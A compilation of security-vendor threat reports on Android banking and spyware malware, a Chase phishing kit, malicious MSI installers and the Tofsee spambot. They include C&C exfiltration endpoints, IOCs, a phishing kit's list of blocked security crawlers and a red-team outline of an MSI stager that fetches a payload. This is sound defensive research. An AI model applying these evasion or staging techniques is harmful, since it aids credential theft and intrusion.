The repository we mentioned contains a script for creating references to Dart objects. When you run it, the script goes through the code and creates references to the Dart objects created by create_dart_objects.py scripts.
After several iterations, we finally get our references to the C&C address string.
Let’s inspect these functions starting with sub_70FD611C0C. A brief overview shows that this function intends to do something with the HTTP POST method with the path “/addcontent3” when communicating with the C&C server.
There is also a reference to this function from another Dart object. As we go through the references, we finally come to the function responsible for listening to all the incoming SMS messages.
To be absolutely sure we made a correct static analysis, we checked this function on a real device in runtime. Indeed, we caught a POST request to the C&C server.
## C&C communication
C&C protocol intends to only send data from the compromised device to the server. There are no commands to send in the opposite direction i.e. from the server to the compromised device. HTTPS is used to transfer data, and there are several endpoints used.
### Endpoint descriptions
| Endpoint | Description | Method | Fields Used |
|-------------------|------------------------------------------------------------|--------|-------------|
| /addcontent | Used to exfiltrate the victims’ credentials. | POST | c1 – user login, c2 – user password |
| /addcontent2 | Used to exfiltrate credit card data to the server. | POST | ids – always empty, c3 – for card number, c33 – for expiration date, c333 – for CVC code |
| /addcontent3 | Used to exfiltrate SMS messages intercepted by the malicious application. | POST | ids – always empty, c4 – for SMS message body |
Web variants of decoys that are used for Dating malicious applications use a very similar protocol.
## Contribution summary
This is a summary of our open-source contribution to the flutter-re-demo project:
1. Added parsing of some previously unsupported constructions for accessing Dart objects.
2. Added saving key information during dynamic analysis and using this information in IDA scripts.
3. One field for the unknown Dart object struct is set to the offset so that it can bring more references to Dart objects.
## Conclusion
Idealists invent new technologies hoping for the progress of humankind. Realists adapt these inventions to day-to-day needs. Evil minds abuse them in often unforeseen and unpredictable ways to make the most for themselves.
This timeless truth got an unexpected implementation in abusing modern development frameworks by Android malicious developers. Such frameworks can be used as a double-edged sword as we described above. Malware operators pursued a direct approach to stealing victims’ sensitive data without distractions to other components.
The technical implementation of these malicious samples consists of several layers. As the functional part is relatively simple, we can conclude that the malware developers did not put much effort into the programming, instead relying on Flutter as a developing platform. The developers’ main focus is on the GUI. This approach allowed them to create dangerous and mostly undetected malicious applications. One of the benefits of using Flutter is that its hard-to-analyze nature renders many contemporary security solutions worthless.
We traced FluHorse activity back to May 2022. Our analysis shows that these campaigns remain an ongoing threat as new infrastructure nodes and malicious applications appear each month.
As the human factor remains an important factor in malware attacks, Check Point Research recommends the following suggestions for mobile device users: Check Point’s Harmony Mobile prevents malware from infiltrating mobile devices by detecting and blocking the download of malicious apps in real-time. Harmony Mobile’s unique network security infrastructure – On-device Network Protection – allows you to stay ahead of emerging threats by extending Check Point’s industry-leading network security technologies to mobile devices.
## IOCs
### Samples
| Hash | Description |
|----------------------------------------------------------------------------------------|---------------------------|
| 0a577ee60ca676e49add6f266a1ee8ba5434290fa8954cc35f87546046008388 | Dating app |
| 2e18c919ad53a66622e404a96cbde15f237a7bfafed1c0896b6b7e289bc230d6 | Major banking app |
| 416e22d6b85d6633d1da000058efb3cd597b8b7df5d77a6c3456464d65a775b3 | Toll app |
| 74008170fc5de4d40bcc97b8e2c6fbdb01889805c6ca456fd08134881cad0d2c | Dating app |
| 8b591b5488dab8adb485ea55197148d6b39715da562537c7d8b1a79cd3639510 | Major banking app |
| 910707dd041c13f3379115bdf93bb4984ac20b9ecafd59f93e5089ab3a141e67 | Toll app |
| 9220752302e2bca0002ea701c772b2f2306831711b1c323157ef2573f176821a | Major banking app |
| d78fa2c475ea08f90ef6b189d2a3fddc9ead86ae43df272e9083f92f7a47aabe | Major banking app |
| d8a777b050ba27eeb41c0035f3477882d7eafc56edfcbe1e8cef05a7e85c8b9e | Delivery |
| de86b0fbbd343f3fc5bb6c19a067a6f063b423132e19c6004c7b696ea1fe0c7d | Major banking app |
| 2811f0426f23a7a3b6a8d8bb7e1bcd79e495026f4dcdc1c2fd218097c98de684 | Toll app |
| 659f69d660179d0e8a5f4c2850c51a05529e0ef06ac739ca6f61fe470917ee96 | Toll app |
| e54a2581545477882a1b7c1f9cbb74fb2aa97fcf1ee8b097c8085302ed6fbf36 | Major transportation app |
### Domains
| Domain | Decoy relation |
|-----------------------|-------------------------|
| info1.yelove.xyz | Dating |
| jp.yelove.xyz | Dating |
| h5.yelove.xyz | Dating |
| api.vpbankem.com | Bank |
| api.fetctw.xyz | Toll |
| api.fetc-net.com | Toll |
| api.usadmin-3.top | Toll and major transportation app |
| www.pcdstl.com | Toll |
| h5.spusp.xyz | Dating |
### Online resources
- Open-source projects
- Technical analysis articles
- Contribution: [GitHub link](https://github.com/Guardsquare/flutter-re-demo/pull/4) |
# Analysis of a Phishing Kit that Targets Chase Bank
**Ben Martin**
**September 1, 2021**
Most of us are already familiar with phishing: a common type of internet scam where unsuspecting victims are conned into entering their real login credentials on fake pages controlled by attackers. Once entered, the attackers syphon off those login details and use them for their own purposes. Sometimes this can just be a nuisance, such as someone entering their Netflix account login information into a bogus page. Things become much more serious when banking information is involved. The attackers could potentially empty your bank account and life savings with the click of a few buttons. It is also very common for users to re-use passwords across multiple services, and common practice for attackers to test credentials on multiple other platforms.
Hopefully, most folks are able to recognize a phishing email or landing page by now.
We can see in the image above that this is not the official Chase Bank website. However, most often we only see the front-facing phishing pages but not what hides in the backend. In today’s post, we will be examining what hides behind the surface in one such commercial phishing kit that was going for $80 on the black market as a limited release.
## Directory Structure
The phishing toolkit that we will be taking apart in this post is actually a surprisingly feature-rich product sold to other black hat attackers that specifically targets banking login details. Although most phishing is bought from the same hacker shops, a lot of the bogus login pages are quite straightforward and do not contain most of the bells and whistles we found here.
Some of the features we found for this kit include:
- Functionality to hide from bots and security companies
- Fully functional admin panel to manage victim information
- API validation to only target Chase accounts
- Random URL generator (to appear more legitimate)
- Mobile device functionality
- Profanity filter
Here’s what the attackers themselves say about their kit: "Works super fine, looks perfect just as real!"
Let’s break down some of these features and how they can help the attackers steal the victim’s banking information.
### Hiding from Bots and Security Companies
Let’s start at the beginning. Here we have the main `index.php` file in the root directory of the phishing kit. One of the most useful and noteworthy features of this malware is the great lengths to which it has gone to block crawlers and bots from accessing it. On line 5 of this index file, we see this:
```php
require_once 'blocker.php';
```
Let’s take a look at this file and see what’s inside. Here we see a great deal of terms referencing search engine crawlers and security companies, such as:
- googlebot
- duckduck
- msnbot
- crawler
- virustotal
- bitdefender
- dr.web
- cloudflare
- avast
- avira
- phishtank
- mcafee
- netcraft
- clamav
If you look closely, you can even see `sucuri.net` mentioned there. If the host name or user agent trying to access the phishing page matches one of these strings, then the request will be met with a 403 Forbidden response. This is an attempt to try to evade detection.
While sometimes attackers will register explicitly malicious domains (e.g., this phishing kit was at one point planted at `secure03f-chase[.]com`), more commonly they will plant these phishing pages on compromised (but otherwise legitimate) websites. This is why it’s important to always verify that you are entering your login credentials on the official page of your bank. Always double-check that you are on the official website and that the site is showing an SSL/HTTPS protected shield!
The phishing kit tries to avoid detection by preventing Google from crawling the phishing content. If the owner of the victim’s website were to search their website in Google and see references to a Chase login, they’d know right away that something was amiss. This is one of the reasons these search engine user agents/hostnames are deliberately blocked, in addition to preventing the website from being blocked by Google entirely.
All in all, this kit outright blocks nearly 500 bots, almost 350 hosting and Internet service providers, 130+ words, and thousands of IP addresses and blanket IP ranges.
### Built-In Administrator Panel
Navigating to the “panel” directory, we are met with an ever-so-leet Mr. Robot-inspired login page. Once we enter in the hard-coded password “q1w2e3r4t5,” we now land in the admin area which logs all of the stolen credentials in an easy-to-use, nicely presented interface.
Pressing on the config button leads us to additional functionality. Here we have multiple options such as changing the email addresses, API keys, passwords, the type of phishing emails sent out, whether or not to block certain user agents, and more.
### Antibot Phishing Kit Service
Another interesting aspect of this phishing kit is the following file included in the `index.php`:
```php
require_once("antibot.php");
```
Using an included API key for the `antibot[.]pw` website, it will return a 404 Not Found to any designated bot user agent. Although it could be used for legitimate purposes, it appears that this website is used extensively by malicious phishing actors to help conceal their payloads from detection.
### Profanity Filter
Plenty of effort has gone into educating people about phishing, and many know how to correctly identify a phishing page right away. Other (perhaps more cheeky) folks are tempted to insert insults and profanity to send to the attackers in the “user name” and “password” fields. But this phishing kit filters out profane submissions to this fake Chase Bank login page and uses the `geoplugin.net` service to pinpoint the location of these users. It then sends the IP address, host name, and browser user agent to the attackers, notifying them of the location of those who choose to engage in a little trolling.
### Geolocation
Another feature of this phishing kit is geolocation. The attackers want to gather as much information as possible about their victims, including:
- County name
- Country code
- Continent
- City
- Region
- Timezone
- Local currency
- User agent
This same functionality could allow the attackers to target their victims based on location as well. For example, since they are targeting Chase Bank users here, they might want to restrict access only to American victims and hide their payload from other countries.
### Payload
Finally, we come to the payload of this phishing kit. If the unsuspecting victim fills out this phishing form, the attackers will have surreptitiously syphoned off the following information:
- IP address
- Location (city, country)
- User agent
- Browser
- Operating system
- Banking username and password
- Security token
That information then gets added to the file `./result/total_login.txt`, which is then displayed within the phishing administration panel. It can then easily be sent off to the designated email address of whomever purchased this commercial phishing kit from the original malware developers.
## Protect Yourself and Your Website from Phishing Attacks
By and large, phishing directories do not find themselves on websites by exploiting any super cool software vulnerability, complicated security hole, or firewall evasion technique. In fact, these attacks are successful because of the most straightforward aspect of all: you, the website owner.
Although phishing directories can be uploaded through weak and vulnerable upload forms in websites, overwhelmingly what we see are weak passwords being brute-forced, stolen, and exploited. Usually, these passwords are tied to cPanel or FTP accounts on servers, often configured with a simple dictionary word followed by a number and maybe a special character. Once the attackers have that access, they can easily upload whatever files they want into their victim’s website environment.
Always make sure that you are using a daily backup service in the event that catastrophe strikes! Unfortunately, many users choose passwords based on their ability to remember them rather than them being hard to guess or crack through brute force. As many as 52% of people report re-using passwords across multiple platforms, so definitely avoid this.
As a website owner, to avoid falling victim to a phishing attack, make sure that your cPanel, FTP, and hosting account passwords are long and complex and preferably stored in a password manager browser extension such as LastPass. It’s also prudent to use some server-level security software such as Fail2Ban and OSSEC/HIDS to ban IP addresses that are trying to brute-force their way into your hosting environment. Always consider security to be a priority from the very beginning when building and maintaining a website.
If you come across a phishing page or compromised website hosting such content, do everyone a favor and report it to Google so they can issue a warning to others who might otherwise fall victim to these attacks. If you find that your website has fallen victim to such an attack, don’t panic! Our incident response team can deploy malware removal tools to get you restored. |
# Lookout Discovers Novel Confucius APT Android Spyware Linked to India-Pakistan Conflict
The Lookout Threat Intelligence team has discovered two novel Android surveillanceware – Hornbill and SunBird. We believe with high confidence that these surveillance tools are used by the advanced persistent threat group (APT) Confucius, which first appeared in 2013 as a state-sponsored, pro-India actor primarily pursuing Pakistani and other South Asian targets.
While primarily known for desktop malware, the Confucius group was previously reported to have started leveraging mobile malware in 2017, with the Android surveillanceware ChatSpy. However, our discovery of SunBird and Hornbill shows that Confucius may have been spying on mobile users up to a year before it started using ChatSpy.
Targets of these tools include personnel linked to Pakistan’s military, nuclear authorities, and Indian election officials in Kashmir. Hornbill and SunBird have sophisticated capabilities to exfiltrate SMS, encrypted messaging app content, and geolocation, among other types of sensitive information.
SunBird has been disguised as applications that include:
- Security services, such as the fictional “Google Security Framework”
- Apps tied to specific locations (“Kashmir News”) or activities (“Falconry Connect” and “Mania Soccer”)
- Islam-related applications (“Quran Majeed”)
The majority of applications appear to target Muslim individuals. Lookout named Hornbill after the Indian Grey Hornbill, which is the state bird of Chandigarh and where the developers of Hornbill are located. SunBird’s name was derived from the malicious services within the malware called “SunService” and the sunbird is also native to India.
## Malicious Functionality and Impact of Both SunBird and Hornbill
Hornbill and SunBird have both similarities and differences in the way they operate on an infected device. While SunBird features remote access trojan (RAT) functionality – a malware that can execute commands on an infected device as directed by an attacker – Hornbill is a discreet surveillance tool used to extract a selected set of data of interest to its operator.
Both of the malware can exfiltrate a wide range of data, such as:
- Call logs
- Contacts
- Device metadata including phone number, IMEI/Android ID, Model and Manufacturer and Android version
- Geolocation
- Images stored on external storage
- WhatsApp voice notes, if installed
Both malware are also able to perform the following actions on device:
- Request device administrator privileges
- Take screenshots, capturing whatever a victim is currently viewing on their device
- Take photos with the device camera
- Record environment and call audio
- Scrape WhatsApp messages and contacts via accessibility services
- Scrape WhatsApp notifications via accessibility services
### SunBird-specific Functionality
SunBird has a more extensive set of malicious capabilities than Hornbill. It attempts to upload all data it has access to at regular intervals to its command and control (C2) servers. Locally on the infected device, the data is collected in SQLite databases which are then compressed into ZIP files as they are uploaded to C2 infrastructure.
SunBird can exfiltrate the following list of data, in addition to the list above:
- List of installed applications
- Browser history
- Calendar information
- BlackBerry Messenger (BBM) audio files, documents and images
- WhatsApp audio files, documents, databases, voice notes and images
- Content sent and received via IMO instant messaging application
In addition to the list of actions above, SunBird can also perform the following actions:
- Download attacker specified content from FTP shares
- Run arbitrary commands as root, if possible
- Scrape BBM messages and contacts via accessibility services
- Scrape BBM notifications via accessibility services
### Hornbill-specific Functionality
In contrast, Hornbill is more of a passive reconnaissance tool than SunBird. Not only does it target a limited set of data, the malware only uploads data when it initially runs and not at regular intervals like SunBird. After that, it only uploads changes in data to keep mobile data and battery usage low. The upload occurs when data monitored by Hornbill changes, such as when SMS or WhatsApp notifications are received or calls are made from the device.
Hornbill is keenly interested in the state of an infected device and closely monitors the use of resources. For example, if the device is low on memory, it triggers the garbage collector. In addition to the list of exfiltrated data mentioned earlier, Hornbill also collects hardware information. For example, the malware can check if a device’s screen is locked, the amount of available internal and external storage, and whether WiFi and GPS are enabled.
Hornbill only logs location information if it deems the changes to be significant enough from the previously recorded location – if the difference between the corresponding latitudes and longitudes differ by more than 0.0006 which is roughly 70 metres. Data collected by Hornbill is stored in hidden folders on external storage. Once call recordings or audio recordings are uploaded to C2 infrastructure, they are deleted from the device to avoid suspicion.
The operators behind Hornbill are extremely interested in a user’s WhatsApp communications. In addition to exfiltrating message content and sender information of messages, Hornbill records WhatsApp calls by detecting an active call by abusing Android’s accessibility services. This enables the threat actor to avoid the need for privilege escalation on a device.
Lastly, Hornbill searches for and monitors activity on any documents stored on external storage with the following suffixes: ".doc", ".pdf", ".ppt", ".docx", ".xlsx", ".txt". Whenever a document is created, opened, closed, modified, moved or deleted, this action is logged by Hornbill. Functionality exists to modify this list of suffixes, but is incomplete in the samples we have observed. The latest samples of Hornbill show that this malware threat may still be under development.
## Development Timelines
The newest Hornbill sample was identified by Lookout’s app analysis engine as recently as December 2020, suggesting the malware may still be active today. Both ChatSpy and Hornbill’s packaging dates appeared to have been tampered with, but we first observed them in January 2018 and May 2018 respectively. Lookout first observed SunBird in January 2017, but unlike the other two malware families, the packaging dates appear legitimate, indicating the malware was likely in development between December 2016 and early 2019.
Hornbill, which Lookout first saw in May 2018, is actively deployed. We observed new samples as recently as December 2020. The first SunBird sample was seen as early as 2017 and as late as December 2019.
## Targeting
To better understand who SunBird may have been deployed against, we analyzed over 18GB of exfiltrated data that was publicly exposed from at least six insecurely configured C2 servers. All data uploaded to the C2 infrastructure included the locale of the infected devices. This information, combined with the data content, gave us extensive insight into who was being targeted by this malware family and the kind of information the attackers were after.
Some notable targets included an individual who applied for a position at the Pakistan Atomic Energy Commission, individuals with numerous contacts in the Pakistan Air Force (PAF), as well as officers responsible for electoral rolls (Booth Level Officers) located in the Pulwama district of Kashmir.
Based on the locale and country code information of infected devices and exfiltrated content, we think SunBird may have roots as a commercial Android surveillanceware. The data included information on victims in Europe and the United States, some of which appear to be targets of spouseware or stalkerware. It also included data on Pakistani nationals in Pakistan, India, and the United Arab Emirates that we believe may be targeted by Confucius APT campaigns between 2018 and 2019.
## Malware Development and Commercial Surveillance Roots
Both Hornbill and SunBird appear to be evolved versions of commercial Android surveillance tooling. Hornbill seems to be derived from the same code base as a previously active commercial surveillanceware product known as MobileSpy. It is unclear how the developers of Hornbill acquired the code, but the company behind MobileSpy, Retina-X Studios, shut down their surveillance software products in May 2018 after being hacked twice. Links between the Hornbill developers indicate they all appear to have worked together at a number of Android and iOS app development companies registered and operating in or near Chandigarh, Punjab, India. In 2017, one developer claimed to be working at India’s Defence Research and Development Organisation (DRDO) on their LinkedIn profile.
SunBird looks to have been created by Indian developers who also produced another commercial spyware product, which we dubbed BuzzOut. The theory that SunBird’s roots lay in stalkerware was also supported by the content found in the exfiltrated data we uncovered. The data included information on stalkerware victims, as well as Pakistani nationals living in Pakistan and traveling in the UAE and India. This data suggests that SunBird could have been sold to an actor that selectively deployed it to gather intelligence on targeted individuals. Similar behavior was observed with Stealth Mango and Tangelo, two nation-state mobile surveillanceware Lookout researchers discovered in 2018.
## Exfiltrated Data
During this investigation, we were able to access exfiltrated data for SunBird whose C2 infrastructure had been insufficiently secured. This is a breakdown of types of data SunBird exfiltrated. This data is from publicly-accessible exfiltrated content exposed on SunBird C2 servers for five campaigns between 2018 and 2019. We found another 12 GB of data exfiltrated on another C2 server. The default language of this server was set up as Chinese when discovered by Lookout researchers. This may be a false flag or may have been altered by a third party. This also makes it difficult to confirm if all of the data originated from infections of actual target devices.
Personal data such as SMS messages (sent and received), contacts, and call logs were exfiltrated as SQLite databases contained in ZIP files labelled with timestamps. We found that whole databases are uploaded each time data is exfiltrated, usually at a regular cadence, which led to a large amount of duplicated data on C2 servers.
Frequency of infected devices’ locale and country code settings (translated to languages and countries) as packaged within publicly-accessible exfiltrated data. This data includes both the Confucius APT targets and spouseware victims of SunBird.
One particular SunBird C2 server was found to also be exposing a log file containing IP addresses of those that logged into the administrator panel. The majority of these were distributed throughout India. Geo-location data captured from a publicly-exposed database found on another Sunbird C2 IP. Almost all data stored on this server referenced phone numbers of various locations in northern India. The second most common region for phone numbers was Pakistan.
Within the exfiltrated data, one particular victim caught our interest. This individual was using WhatsApp to correspond with someone applying for a position at the Pakistan Nuclear Regulatory Authority in 2017. In 2018, messages were uncovered from someone applying for a position at the Pakistan Atomic Energy Commission.
Additional exfiltrated data from late 2018 and early 2019 indicated that SunBird was being used to monitor Booth Level Officers responsible for field-level information regarding electoral rolls in the Pulwama district of Kashmir. This time and location is significant as Pulwama suffered a suicide bombing attack in February 2019, which increased tensions between India and Pakistan. The start date of active monitoring of this target on C2 servers coincided with the start of the Indian general elections held in April 2019.
Continuous data exfiltration data that occurred every ten minutes stopped at the end of 2018. Aside from one brief upload in January 2019, it suddenly picked up again on the 11th of April 2019. While this may be coincidence, this is also the same day that the Indian general elections of 2019 began.
A total of 156 victims were discovered in this new dataset and included phone numbers from India, Pakistan, and Kazakhstan.
## Confucius Connection
Hornbill application icons impersonate various chat and system applications. Similar to previous Confucius tactics seen with ChatSpy, Hornbill samples often impersonate chat applications such as Fruit Chat, Cucu Chat, and Kako Chat. The related C2 infrastructure communicates on port 8080, a pattern also seen on the desktop campaigns carried out by Confucius.
The Confucius group is well known for impersonating legitimate services to cover their tracks and confuse its victims. Naming malicious apps similar to legitimate ones may be an attempt to gain a target’s trust. For example, “kako chat” may have been named due to its similarity to KakaoTalk. However, Kako Chat’s C2 server references a defunct cryptocurrency by the same name.
Cucu Chat may refer to a seemingly benign dating app of the same name that is available on third-party app stores. However, Cucu Chat communicates to a site and itself appears to be an impersonation of an application which advertises itself as a chat app for Zimbabweans. The latest sample of Hornbill titled “Filos” trojanizes the Mesibo Android application for legitimate chat functionality.
During our investigation, we noticed that Hornbill C2 infrastructure hosted HTML resources consistent with a commercial spyware page, but missing its image resources. C2 servers for Hornbill were found to host HTML content from a commercial spyware. Additionally, Hornbill carries out data exfiltration via the following unique set of server paths.
We found that the patterns noted above also existed on another domain. Although Lookout has not directly observed an APK communicating to this domain, we think one likely exists. This domain has resolved to the IP address since May 2019, which encompasses the activity of this campaign.
In addition to this, we found the SunBird C2 domain resolved to an IP address in between February 2019 and July 2019. This is also the timeframe in which we observed active campaigns by SunBird on that infrastructure.
With the help of public reporting and Lookout’s dataset, we are confident that the Confucius APT group is actively using the IPs to host a large portion of their infrastructure, both presently and in the past.
Additional open-source intelligence (OSINT) searches confirmed the above connections. We found a publicly-accessible 2018 Pakistani government advisory warning of a desktop malware campaign targeting officers and government staff. The campaign described in it used phishing emails that impersonated various government agencies to deliver malicious Microsoft Word exploits. The Indicators of Compromise (IOCs) for this campaign included domains that were known Confucius infrastructure, leading us to believe the entire campaign could be attributed to that group.
Hornbill malware has unique file paths with which to communicate with C2 servers. They also display a unique Spyware HTML page. Lookout researchers uncovered another domain, which shares the same unique file paths and Spyware HTML page found on a Hornbill C2 server, tied to known Confucius infrastructure by resolving to an IP address in the Confucius IP range.
We are confident SunBird and Hornbill are two tools used by the same actor, perhaps for different surveillance purposes. To the best of our knowledge, the apps described in this article were never distributed through Google Play. Users of Lookout security apps are protected from these threats. Lookout Threat Advisory Services customers have already been notified with additional intelligence on this and other threats. |
# Threat Analysis: MSI - Masquerading as a Software Installer
**Written By**
Cybereason Global SOC Team
December 5, 2022 | 16 minute read
The Cybereason Global Security Operations Center (GSOC) issues a Purple Team Series of its Threat Analysis reports to provide a technical overview of the technologies and techniques threat actors use to compromise victims’ machines. In this Threat Analysis report, the Cybereason GSOC team analyzes a technique that utilizes Microsoft’s Windows Installation file (.msi) to compromise victims’ machines.
## Key Points
- **Masquerade as legitimate installer**: Malicious MSI files are sometimes difficult to distinguish from legitimate installers. Threat actors will often masquerade as well-known software updates and manipulate victims into “updating” the software on their machines.
- **Execute with elevated privilege**: MSI allows execution with a LocalSystem account (NT Authority\System). The unauthorized access via LocalSystem privilege can lead to compromise of the system and to further network compromise.
- **Numerous ways to exploit MSI**: MSI is based on COM Structure Storage, which allows threat actors to store malicious files in an MSI file and to control stored files with custom actions. This technology gives threat actors a variety of options for execution patterns they can use to infect victims’ machines.
## Introduction
This chapter explains the fundamentals of Windows Installer packages (MSI).
### Overview
MSI, formerly known as Microsoft Installer, is a Windows installer package format. MSI allows for the installation and deployment of necessary Windows applications or packages to end-users’ machines. MSI is a standardized installation method that simplifies the installation process for users. The installation process with MSI files is simple and often does not require much user interaction. Usually, the installation process with MSI is similar to running an executable.
MSI utilizes Microsoft’s technology COM Structured Storage, which allows an MSI file to have a file system structure. This technology is also referred to as OLE documents, components often used by Microsoft Office. This technology is constructed with two types of objects called storage and streams, which are conceptually similar to directories and files. This structure allows MSI components to store multiple files to allow for easy access.
The ability to store and deploy necessary files with minimal user action makes this technology similar to self-extracting zip files, which are often in the form of executables. The installation procedure also allows execution with a LocalSystem account (NT Authority\System). The elevated privilege behavior as well as the COM Structure makes MSI an attractive malware deployment method for threat actors.
### Structure
MSI contains a main stream called a Database stream. This section provides an overview of the Database stream and its relevant components.
#### Database
The Database stream consists of tables that form a relational database. These tables are linked with primary and foreign key values. This structure allows MSI to maintain relationships between the different tables and contain basic information required to perform the installation.
The information within each table has important roles for the installation, such as tables storing information on installing software applications.
- **File**: Metadata of installing application files.
- **Registry**: Registry key values of installing applications.
- **Shortcut**: Shortcuts of relevant installing applications.
Other tables include information about package executions of the installation and execution sequences. These tables are crucial for MSI to determine the execution flow, as well as the exact actions needed for the installation. The tables allow developers to manipulate the installation process and allow installation to have complex logic.
#### Actions
The MSI contains a set of subroutines to execute the installation. These routines are divided into two types:
- **Standard Actions**: Built-in actions that allow developers to perform the installation. Notable actions include:
- Initialize installation directories
- Drop files to the installation directories
- Add a registry value for the installing software
- **Custom Actions**: Allow developers to embed logic outside of Standard Actions by executing specific binaries or scripts during the installation. Notable custom actions include:
- Execute executables stored within the MSI file
- Execute specific exported functions from DLLs
- Execute JavaScript or Visual Basic scripts
The above actions can be manipulated by utilizing Properties, which are similar to environment variables. Properties often contain various data and control parameters required to execute certain actions, including:
- A flag which identifies if reboot is needed
- Installation directory
- System information
- Control information on installation
The Property table exists within the Database Stream. However, note that not all properties are stored in the Property table. Some Properties are set during the installation in specific actions, and Properties that are set dynamically may not be in the Property table.
#### Sequences
Developers can set the order in which Standard Actions and Custom Actions are executed in the Sequence table. Within the Sequence table, they can assign conditions to control the actions’ behavior.
There are two main types of sequences:
- **Install UI Sequence**: Refers to the sequence of actions for installation UI, which includes user interactions with the dialog.
- **Install Execute Sequence**: Refers to the sequence of actions for actual installation execution, such as dropping files and creating registry entries. When conducting silent installation, the Install UI Sequence is ignored and only the Install Execute Sequence is used.
For this report, the focus will be on the Install Execute Sequence, since this table is most relevant to the actual installation behavior.
## Red Team
This section describes how to reproduce the staging of a malicious MSI file, in order to analyze it and build detections for it. Similar to archived files, an MSI file can contain various malicious binaries or scripts to conduct its malicious actions.
MSI files can allow attackers to embed malicious binaries or scripts and take over the machine with elevated privileges. To demonstrate this, a malicious stager binary is embedded into an MSI file, which later fetches and executes the payload from the C2 server.
The overall flow is as follows:
1. Execute the MSI file.
2. Execute the embedded binary.
3. Execute the stager shellcode.
4. Fetch and execute the payload from a C2 server.
5. Terminate installation.
The main usage here is to execute any relevant binary within memory without dropping any files to the disk.
### Preparation
In this section, we show how MSI files can be created using the Windows Installer XML (WiX) toolset. This is free software for building Windows Installer packages from XML files.
The executable needs to be stored in a table where it can be accessed by the CustomAction element prior to its execution. The Binary table is often used to place animations, bitmaps, and icons; however, it also allows the MSI to store relevant binary data needed for CustomAction, even malicious PE files and scripts.
Id assigns unique identifiers to the elements, which developers can call and utilize for specific actions. The MyStager id is assigned to the malicious executable stager.exe. This executable will allocate and execute stager shellcode.
### Execution
The execution in this section assumes the victim retrieves the MSI file via phishing email. Once the file is deployed onto the victim’s machine, the victim executes the MSI file by simply double-clicking. The execution prompts with a UAC warning, as execution is performed by a high-privilege user. Once the UAC warning is accepted by the user, the execution will proceed with the usual installation process.
After MSI execution, the installation fails and exits with an error message due to CustomAction ExitInstallation. The MSI terminates itself; however, since the Stager is set to execute asynchronously, the malicious binary will continue executing.
## Blue Team
This section focuses on an analysis of malware that abused MSI files in the past. Technical Analysis dives into MSI file usage by three different malware families seen in the wild.
### Technical Analysis
This section analyzes three different malware families. The analysis focuses on the following Secure Hash Algorithm (SHA)-256 samples.
| Malware Family | SHA-256 |
|---------------------|---------------------------------------------------------------------------------------------|
| Magniber Ransomware | 0e65657740d7f06acda53b7d3190f9728801b984d5bd6ccb0b865d218ae71f66 |
| MatanBuchus Loader | face46e6593206867da39e47001f134a00385898a36b8142a21ad54954682666 |
| Qbot / Qakbot | c0beb47f629a5debe0e99790d16a4d04afe786d6fb42c5ab6dfcaed84d86e7ad |
#### Magniber Ransomware
Magniber Ransomware is known to utilize infection methods such as exploiting vulnerabilities and masquerading as a legitimate software update to infect a victim’s machine. Known infection methods include:
- Exploiting the PrintNightmare vulnerability.
- Masquerading as a legitimate Google Chrome or Microsoft Edge update by abusing Windows Application Package (.appx) files.
- Masquerading as legitimate Windows 10 upgrades by abusing MSI.
#### MatanBuchus Loader
MatanBuchus is a Malware-as-a-Service (MaaS) platform developed by the threat actor BelialDemon and identified on Russian cybercrime forums in early 2021. Operating as a second-stage malware loader, MatanBuchus contains functionality to download and execute malicious payloads, run arbitrary PowerShell commands, and conduct stealthy C2 server communications.
The malware itself has been observed being spread as a ZIP file in phishing emails. This file contains an HTML file which drops another ZIP file when accessed. This second ZIP file contains the MSI file that loads the MatanBuchus payload and initiates downloads from its C2 server.
#### Qbot / Qakbot
Qbot (also known as Qakbot, Quakbot, and Pinkslipbot) is a modular Trojan that has been in circulation for over a decade. Its most prevalent campaigns consist of phishing attacks that attach malicious macros in Office documents, particularly Excel 4.0 macros, to evade detection.
The MSI variants of Qbot started circulating in late April 2022, which coincidentally occurred around the time Microsoft implemented the VBA macro auto block feature, making it harder for threat actors to launch successful attacks via macro-enabled malicious documents.
## Purple Team
This chapter focuses on key points for possibly identifying a malicious MSI, as well as a tool which can assist defenders to analyze the MSI files.
### Suspicious Indicators
There are three malicious indicators that can identify suspicious MSI files:
1. Mismatch between file detail and digital signature
2. Misleading errors
3. Suspicious installation path
### Tools
There are tools defenders can use to analyze MSI files. This section introduces some of the tools and demonstrates their usage.
- **Msitools**: A set of tools that allow developers to create and inspect MSI files. The tools can also be used by defenders to analyze malicious MSI files.
- **Msiinfo**: A command-line tool that allows users to list and extract streams or tables stored in the MSI file.
- **Msidump**: Dumps relevant tables as idt text and streams stored in an MSI file.
- **Msidiff**: Compares two MSI files by diffing each sample.
- **Oledump.py**: A Python script created by Didier Stevens that’s mainly utilized to analyze OLE documents.
- **ORCA**: A GUI-based Windows SDK component that allows users to edit and view MSI database tables.
### Recommendations
The Cybereason GSOC recommends the following actions to detect and respond to malicious MSI attacks:
- Enable both the Signature and Artificial Intelligence modes on the Cybereason NGAV, and enable the Detect and Prevent modes of these features.
- Handle files originating from external sources (email, web browsing) with caution.
- Contact a Cybereason Defender for custom hunting queries for detecting specific threats.
Cybereason is dedicated to teaming with Defenders to end cyber attacks from endpoints to the enterprise. |
# Neutralizing Tofsee Spambot – Part 1 | Binary File Vaccine
The Spamhaus Malware Researchers have been busy in their lairs, reverse engineering Tofsee malware to provide you with the code required for two malware vaccines and a network-based kill switch. A hat trick of protection against this spambot! This is the first in this three-part series and looks at how to inject a malware vaccine into the binary file.
## An Introduction to Malware Vaccines
This security concept works by proactively introducing a small piece of harmless code into a computer system to disrupt and prevent malware from executing and spreading. This is not dissimilar to how medical vaccines work (hence the use of the same terminology). Essentially, the premise is to “immunize” the system against specific types of malware by providing the system, in advance, with a form of defense.
There are various types of malware vaccines, including file-based, memory-based, and network-based. They can be delivered as standalone software tools or integrated into other security products such as antivirus software.
While malware vaccines can be an effective defense against certain types of malware, they should never be used as a substitute for other security measures such as keeping software and operating systems up to date, using strong passwords, and avoiding suspicious email attachments or downloads, to name but a few. It’s also important to note that as new malware strains are developed, the vaccines must be updated accordingly to remain effective.
## An Introduction to Tofsee
Tofsee, also known as Gheg, is a sophisticated modular malware primarily designed to send spam email along with other full-fledged botnet activities such as mining and stealing login and email credentials, as well as downloading further malware. Generally, the additional malware downloaded is either ransomware or banking Trojans.
The malware is written in C/C++ and uses various techniques to avoid detection and remain persistent on infected systems.
## Identifying Where a Vaccine Can Be “Injected” in Tofsee
To create a vaccine for a malware family, you need to have the ability to mimic the existence of part of the malware, for example, its binary file. This tricks the malware into believing that an instance of the malware code is already running on the system and, therefore, won’t try to re-infect it.
